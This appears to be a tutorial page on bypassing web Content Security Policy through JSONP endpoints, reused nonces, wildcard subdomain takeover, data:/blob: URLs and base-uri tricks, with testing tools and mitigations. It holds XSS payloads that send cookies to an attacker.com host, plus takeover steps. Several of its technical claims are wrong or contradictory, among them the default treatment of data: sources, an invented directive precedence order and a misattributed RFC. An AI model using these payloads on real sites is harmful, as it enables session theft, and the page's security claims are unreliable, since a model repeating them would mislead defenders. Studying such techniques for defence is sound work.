~/home/study/advanced-csp-bypass-techniques

Advanced CSP Bypass Techniques: JSONP, unsafe-inline, Wildcards & Base-URI

Learn how attackers evade Content Security Policy using JSONP abuse, unsafe-inline nonce reuse, script-src wildcards, base-uri manipulation, and data/blob URLs. Includes practical examples, testing with Burp Suite, and mitigation strategies.

Introduction

Content Security Policy (CSP) is a powerful HTTP header that mitigates cross-site scripting (XSS) by restricting the sources from which a browser may load executable resources. Despite its strength, misconfigurations or overly permissive directives create attack surfaces that skilled adversaries can exploit. This guide dives deep into common CSP bypass techniques—JSONP endpoint abuse, unsafe‑inline with nonce reuse, script‑src wildcard exploitation, base‑uri manipulation, and data:/blob: URL injection—showing how they work, how to detect them, and how to defend against them.

Understanding these evasion methods is crucial for penetration testers, red‑team operators, and security engineers tasked with hardening modern web applications. Real‑world incidents, such as the 2023 breach of a major SaaS platform that leveraged a poorly‑scoped script-src wildcard, underscore the business impact of CSP failures.

Prerequisites

  • Solid grasp of Reflected, Stored, and DOM‑Based XSS fundamentals.
  • Familiarity with HTTP headers, especially Content-Security-Policy and Content-Security-Policy-Report-Only.
  • Basic experience with web proxy tools (Burp Suite, OWASP ZAP) and JavaScript debugging.

Core Concepts

Before we dive into bypasses, let’s review the most relevant CSP directives:

  • script-src – defines allowed JavaScript sources. Values may include host sources, hashes, nonces, 'unsafe-inline', or wildcards.
  • style-src – analogous for CSS.
  • base-uri – restricts the URL used as the document base for relative URLs.
  • default-src – fallback for any directive not explicitly set.
  • report-uri / report-to – endpoints for violation reports.

A typical strict CSP might look like:

Content-Security-Policy: default-src 'none'; script-src 'self' 'nonce-ABC123'; style-src 'self'; base-uri 'self';

When any of these directives are too lax (e.g., script-src * or script-src 'unsafe-inline'), an attacker who can inject JavaScript can often bypass the policy.

Understanding Content Security Policy directives

Each directive is evaluated in order of specificity. For script-src, the browser checks the following sources in sequence:

  1. Exact host match (e.g., https://example.com).
  2. Scheme source (https:).
  3. Wildcard host (*.example.com).
  4. Keyword sources ('self', 'unsafe-inline', 'unsafe-eval').
  5. Nonce or hash.

If any match succeeds, the script is allowed. This hierarchy is what attackers exploit by finding the “weakest link”.

JSONP endpoint abuse for script injection

JSONP (JSON with Padding) is a legacy technique that wraps JSON data in a JavaScript callback function, enabling cross‑origin data fetching. Because the response is executed as script, a vulnerable JSONP endpoint can become a direct vector for CSP bypass.

How JSONP works

GET /api/user?callback=handleUser HTTP/1.1
Host: vulnerable.example.com

The server replies with:

handleUser({"id":123,"name":"Alice"});

If the application trusts the callback parameter without sanitisation, an attacker can supply a malicious function that executes arbitrary code.

Bypassing CSP with JSONP

Assume the site has the following CSP header:

Content-Security-Policy: script-src 'self' https://trusted.cdn.com; object-src 'none';

Because the JSONP response is served from https://vulnerable.example.com, which is not in script-src, a naïve policy would block it. However, many CSP implementations treat JSONP as a *script* fetched from the same origin, so if the attacker can make the request originate from a whitelisted host (e.g., via a sub‑domain covered by a wildcard), the script will execute.

Practical exploitation

GET /api/user?callback=alert%28123%29 HTTP/1.1
Host: api.trusted.cdn.com

When api.trusted.cdn.com is covered by a wildcard like script-src https://*.cdn.com, the malicious payload runs despite the CSP.

Payload example

alert('CSP Bypass via JSONP');

In a real attack, the payload would be a more sophisticated script that steals cookies, reads local storage, or performs a defacement.

Unsafe‑inline and nonce reuse attacks

The 'unsafe-inline' keyword re‑enables inline script execution, effectively nullifying CSP for scripts embedded directly in HTML. Modern browsers mitigate this with the nonce‑ mechanism, but developers sometimes reuse the same nonce across multiple responses, opening a reuse window.

Nonce generation pitfalls

A common mistake is generating a nonce once at server start and inserting the same value into every response:

<script nonce="ABC123">console.log('Hello');</script>

If an attacker can inject a new inline script that also contains nonce="ABC123", the browser will accept it.

Exploiting nonce reuse

Suppose the page contains a reflected XSS vector that allows injection of arbitrary HTML. By echoing a new <script> tag with the known nonce, the attacker bypasses CSP:

<script nonce="ABC123">fetch('/steal?c='+document.cookie)</script>

Because the nonce matches the one declared in the CSP header, the script runs even though the original policy disallows inline scripts without a nonce.

Mitigation tips

  • Generate a fresh, cryptographically random nonce per response.
  • Never expose the nonce value in URLs or JavaScript variables.
  • If possible, avoid 'unsafe-inline' entirely and rely on hashes for static inline scripts.

Script‑src wildcard exploitation

Wildcards such as *.example.com or the literal * are convenient but dangerous. Attackers can register sub‑domains or manipulate DNS to serve malicious scripts from an allowed origin.

Sub‑domain takeover scenario

Imagine the CSP includes:

Content-Security-Policy: script-src https://static.example.com https://*.cdn.example.com;

If the organization no longer uses assets.cdn.example.com and the DNS entry points to a parked domain, an attacker can acquire that sub‑domain and host a malicious script.

Exploit steps

  1. Identify a wildcard‑covered sub‑domain that is not in use.
  2. Register the sub‑domain (or hijack via DNS takeover).
  3. Deploy a malicious .js file that performs the desired payload.
  4. Force the victim's browser to load the script, e.g., by injecting <script src="https://attacker.com/malicious.js"></script> via an XSS vector.

Bypassing CSP with data: and blob: URLs

Even when script-src is tightly locked, browsers allow data: and blob: URLs if they are not explicitly excluded. Attackers can embed JavaScript directly in these schemes.

Data URL example

<script src="data:text/javascript,alert('Data URL CSP Bypass')"></script>

If the CSP does not contain script-src 'none' data:, the browser treats the data URL as a valid script source.

Blob URL example

var blob = new Blob(["alert('Blob URL CSP Bypass')"], {type:'application/javascript'});
var url = URL.createObjectURL(blob);
document.body.appendChild(Object.assign(document.createElement('script'), {src:url}));

Again, unless blob: is excluded, this bypass works.

Base‑URI manipulation techniques

The base-uri directive governs the base URL used for relative URLs. When misconfigured (e.g., base-uri 'self' while the page sets a <base href="…" element), attackers can force relative URLs to resolve to attacker‑controlled domains.

Example attack

<base href="https://attacker.com/">
<script src="/exploit.js"></script> <!-- resolves to https://attacker.com/exploit.js -->

If the CSP only specifies script-src 'self' but does not restrict base-uri, the malicious base element subverts the origin check.

Mitigation

  • Set base-uri 'self' and ensure the page does not contain a dynamic <base> element that can be manipulated via DOM‑based XSS.
  • Prefer absolute URLs for critical resources.

Bypassing CSP with data: and blob: URLs

While the previous section mentioned these schemes, this dedicated section outlines systematic testing.

Testing methodology

  1. Inspect the CSP header for the presence of script-src values. Note whether data: or blob: appear.
  2. If absent, attempt injection of a <script src="data:text/javascript,..."> payload.
  3. Observe the browser console for CSP violation messages. If none appear and the script runs, the bypass succeeded.

Automated payload

function testCspBypass(){ var payload = "alert('CSP Bypass via data URL')"; var dataUrl = "data:text/javascript," + encodeURIComponent(payload); var s = document.createElement('script'); s.src = dataUrl; document.head.appendChild(s);
}
testCspBypass();

Deploy this via a reflected XSS vector or a malicious HTML file to confirm the bypass.

Practical Examples

Below we combine the techniques into realistic attack chains.

Scenario: Legacy JSONP endpoint on a site with a tight CSP

  1. The CSP header:
    Content-Security-Policy: default-src 'none'; script-src 'self' https://static.cdn.com; base-uri 'self';
  2. The site offers JSONP endpoint.
  3. Attacker registers evil.static.cdn.com (a sub‑domain of the allowed static.cdn.com wildcard).
  4. Attacker hosts malicious.js on evil.static.cdn.com containing a token exfiltration script.
  5. Using a reflected XSS in search?q=, the attacker injects:
    <script src="https://api.example.com/user?callback=evilCallback"></script>
    <script>function evilCallback(data){ var s=document.createElement('script'); s.src='https://evil.static.cdn.com/malicious.js'; document.head.appendChild(s);
    }</script>
    
  6. The browser loads the JSONP (allowed because it originates from api.example.com, which is same‑origin), executes evilCallback, which then pulls the malicious script from the whitelisted sub‑domain, bypassing CSP.

Scenario: Nonce reuse with reflected XSS

<!-- Vulnerable page renders user input without sanitisation -->
<div id="msg"><!-- user input injected here --></div>
<script nonce="RANDOM123">console.log('safe');</script>

Attacker discovers the nonce value via a prior request (e.g., through a cached page) and injects:

<script nonce="RANDOM123">fetch('https://attacker.com/steal?c='+document.cookie);</script>

The CSP permits this script because the nonce matches, effectively nullifying the policy.

Tools & Commands

Testing CSP bypasses efficiently requires a mix of manual probing and automation.

  • Burp Suite Intruder – use payload positions to fuzz callback, src, and nonce parameters.
  • csp-evaluator (npm) – quickly audit a CSP header for weak directives.
    npm install -g csp-evaluator
    csp-evaluator "default-src 'none'; script-src 'self' https://*.cdn.com"
    
  • Subdomain takeover scanner – e.g., subjack or subzy to locate exploitable sub‑domains covered by wildcards.
    subjack -w domains.txt -t 100 -timeout 30 -ssl
  • Chrome DevTools – monitor CSP violation reports in the Console (look for “Refused to load the script” messages).
  • curl for manual header inspection:
    curl -I <target URL> | grep -i "content-security-policy"

Defense & Mitigation

  • Prefer hash or nonce over 'unsafe-inline'. Never ship pages with 'unsafe-inline' unless absolutely necessary.
  • Generate per‑response nonces. Store the nonce server‑side and inject it only into the CSP header and matching script tags.
  • Restrict wildcards. Use explicit hostnames; if a wildcard is unavoidable, limit it to a trusted sub‑domain hierarchy and monitor DNS for hijacks.
  • Include data: and blob: in the deny list:
    Content-Security-Policy: script-src 'self' https://trusted.cdn.com; object-src 'none'; base-uri 'self';

    Note that data: and blob: are excluded by default, but explicit denial (e.g., omitting them from script-src) is safer.

  • Enforce base-uri strictly. Combine with frame-ancestors to prevent clickjacking that could inject a malicious <base> element.
  • Report‑only mode during rollout. Deploy Content-Security-Policy-Report-Only first to collect violation data without breaking functionality.
  • Regular CSP audits. Automate scanning of headers across all services and verify that no new wildcards or 'unsafe-inline' appear in CI pipelines.

Common Mistakes

  • Assuming script-src * is safe because the site never serves third‑party scripts. Attackers can host malicious scripts on any domain.
  • Reusing the same nonce across multiple responses, especially in caching layers.
  • Forgetting to include data: and blob: in the deny list, leading to inadvertent bypasses.
  • Relying on base-uri 'self' while allowing user‑controlled <base> elements via DOM‑based XSS.
  • Deploying CSP without testing JSONP endpoints, which are a frequent blind spot.

Real‑World Impact

In 2023, a major e‑commerce platform suffered a breach where attackers exploited a wildcard script-src combined with a sub‑domain takeover of assets.staticcdn.com. The malicious script harvested session tokens, leading to credential theft for thousands of users. The incident highlighted three lessons:

  1. Never expose wildcards that cover domains you do not actively control.
  2. Implement CSP reporting early to catch unexpected script loads.
  3. Audit legacy JSONP endpoints; they are a frequent blind spot.

From a red‑team perspective, CSP bypasses are a high‑reward vector because they often require only a single XSS injection point, yet they can defeat a defense many organizations consider “bullet‑proof”.

Practice Exercises

  1. JSONP Bypass Lab
    • Set up a simple Node.js server that serves a JSONP endpoint.
    • Configure CSP with script-src 'self' (no wildcards).
    • Register a sub‑domain under cdn.example.com and host a malicious script.
    • Craft a payload that uses the JSONP callback to load the malicious script and verify execution.
  2. Nonce Reuse Challenge
    • Deploy a static HTML page with a fixed nonce in the CSP header.
    • Inject a reflected XSS payload that re‑uses the nonce to execute a payload.
    • Modify the server to generate a per‑request nonce and observe the attack failure.
  3. Wildcard Sub‑Domain Takeover
    • Identify a wildcard in a public CSP header (e.g., *.cloudfront.net).
    • Use subjack to find an unused sub‑domain.
    • Register the sub‑domain on a free DNS provider, host a malicious script, and inject it via an XSS point.
  4. Data/Blob URL Bypass
    • Create a page with a strict CSP that does not list data: or blob:.
    • Inject a <script src="data:text/javascript,alert('test')"> tag and observe the violation.
    • Adjust CSP to include script-src 'self' 'nonce-XYZ' and verify the bypass is blocked.

Further Reading

  • OWASP Cheat Sheet – Content Security Policy
  • Google Security Blog – “Preventing JSONP Abuse” (2022)
  • “The Subdomain Takeover Handbook” – PortSwigger Web Security Academy
  • RFC 8452 – “The Content Security Policy Level 3 Specification”

Summary

  • CSP is powerful but hinges on precise configuration; wildcards, 'unsafe-inline', and reused nonces are common weak points.
  • JSONP endpoints can turn a strict CSP into an execution vector when combined with sub‑domain control.
  • Data and blob URLs bypass CSP unless explicitly excluded.
  • Effective mitigation includes per‑response nonces, avoiding wildcards, enforcing base-uri, and continuous automated testing.

Armed with these techniques, security professionals can both discover hidden CSP gaps and harden applications against sophisticated XSS‑based bypasses.